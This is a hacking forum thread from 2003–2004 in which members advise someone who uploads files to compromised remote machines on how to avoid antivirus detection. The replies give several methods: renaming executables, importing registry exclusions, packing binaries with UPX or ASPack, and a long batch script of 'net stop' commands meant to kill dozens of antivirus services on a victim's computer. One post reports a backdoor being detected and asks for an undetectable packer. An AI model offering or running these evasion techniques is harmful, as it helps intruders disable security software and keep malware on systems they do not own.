Yosam
Sep 16 2003, 04:17 PM
Hi, i remember GSecur posted once how to disable or bypassing an anti-virus
on a remote machine, i tried to search for it but no luck..
anyone knows how can i make the the anti-virus won't alert
about the files i upload in the remote machine?
thanks in advanced.
Certox
Sep 17 2003, 03:35 AM
I just rename the ext. I am guessing ur trying to put up a ftp and iroffer. And lots of anti-virus will delete it, so just name it iroffer.ex and servu.ex the modify ur bat to read them, if you can get ur ftp up reg just do that, and if you are haveing problems getting ur bat to start the bot just do : site exec iroffer.ex -b xdcc.config
It will start right up

Of course I dont mean for you to do anything illegal, so when trying to bypass your own anit-virus on your own computer, do that
Jeeve5
Sep 17 2003, 11:06 AM
Hi
The way I usually do it is:
1. stop the AV service
2. upload a registry hack that tells the AV to exclude all files in the dir you up your kit to
3. regedit /s patch.reg
4. restart the AV service
Usually works. Only excpetion I found is OfficeScan NT. Thing to do there is modify the exclude filenames to you yourprog1.exe and yourprog2.exe
Hope that helped,
Jeeve5
Imps2
Sep 17 2003, 12:34 PM
Use a packer and rename u'r file or kill the AV
net stop Mcshield
net stop "Norton Antivirus Service"
net stop "Panda Antivirus"
net stop "ZoneAlarm"
net stop "Detector de OfficeScanNT"
net stop "McAfee Framework Service"
Greetz Imps2
Yosam
Sep 17 2003, 12:38 PM
What is a packer exactly?
what what file are you talking about?
can i just put this "code" that u gave me into a bat file
and run it on the machine?
Jeeve5
Sep 17 2003, 12:47 PM
The most common packer is UPX.
The 'code' he just gave you is to stop the AV services. Problem is that Norton usually recognizes packed files and therefore it is useless.
Yosam
Sep 17 2003, 12:49 PM
ok but i didn't understand your method.
what is a registry hack?
where can i find it?
Imps2
Sep 17 2003, 12:50 PM
A packer changes the size of u'r proggie and renames it so it's harder to detect by AV software.
You should be able to run the commands from a bat file
Greetz Imps2
miezmiez
Jan 31 2004, 03:31 PM
link to test your files online:
http://www.kaspersky.com/de/remoteviruschk.htmland the results are horrible:
Zu überprüfende Datei: server_.exe
server_.exe Komprimiert: ASPack
server_.exe Komprimiert: ASPack
server_.exe Komprimiert: Morphine
server_.exe Komprimiert: UPX
server_.exe Infiziert: Backdoor.Winshell.50
kaspersky know all known exe packers and has the depacker i think ...
does anybody has an unknown packer ???
Reaper527
Jan 31 2004, 06:48 PM
put the following code into av.bat
| CODE |
@echo off net stop AVP32 net stop LOCKDOWN2000 net stop AVP.EXE net stop CFINET32 net stop CFINET net stop ICMON net stop SAFEWEB net stop WEBSCANX net stop ANTIVIR net stop MCAFEE net stop NORTON net stop NVC95 net stop FP-WIN net stop IOMON98 net stop PCCWIN98 net stop F-PROT95 net stop F-STOPW net stop PVIEW95 net stop NAVWNT net stop NAVRUNR net stop NAVLU32 net stop NAVAPSVC net stop NISUM net stop SYMPROXYSVC net stop RESCUE32 net stop NISSERV net stop ATRACK net stop IAMAPP net stop LUCOMSERVER net stop LUALL net stop NMAIN net stop NAVW32 net stop NAVAPW32 net stop VSSTAT net stop VSHWIN32 net stop AVSYNMGR net stop AVCONSOL net stop WEBTRAP net stop POP3TRAP net stop PCCMAIN net stop PCCIOMON
|
its a list i got from a friend, basically just put that bat file on their comp and run it and it will attempt to stop a whole bunch of differant av's, odds are whatever they use is on that list somewhere.
LittleHacker
Feb 1 2004, 01:01 AM
Usefull list.
I add AVG Antivirus by
Grisoft. Services are
| QUOTE |
avgamsrv.exe : AVG Alert Manager avgcc.exe : AVG Control Center avgemc.exe : AVG E-mail Scanner
|
and warn you about a VxD it uses. It will work even you kill all these Process!
Trojan^kid
Feb 1 2004, 01:18 PM
packers is agood choise to by pass norton and other antivirus
McAfee and ksv ithink hex edite is the only one
cheers
--Elite--
Feb 2 2004, 07:16 PM
Your complete answer.Seems the members completed my post enough , to help ...
globe7
Feb 2 2004, 11:51 PM
i love the esy way:
look at the service list
and stop the anti virus (:
bjoernfun
Feb 3 2004, 07:50 AM
Heya,
@Jeeve5 can you post the registry hack, so the AV will exclude the directory!
thanks
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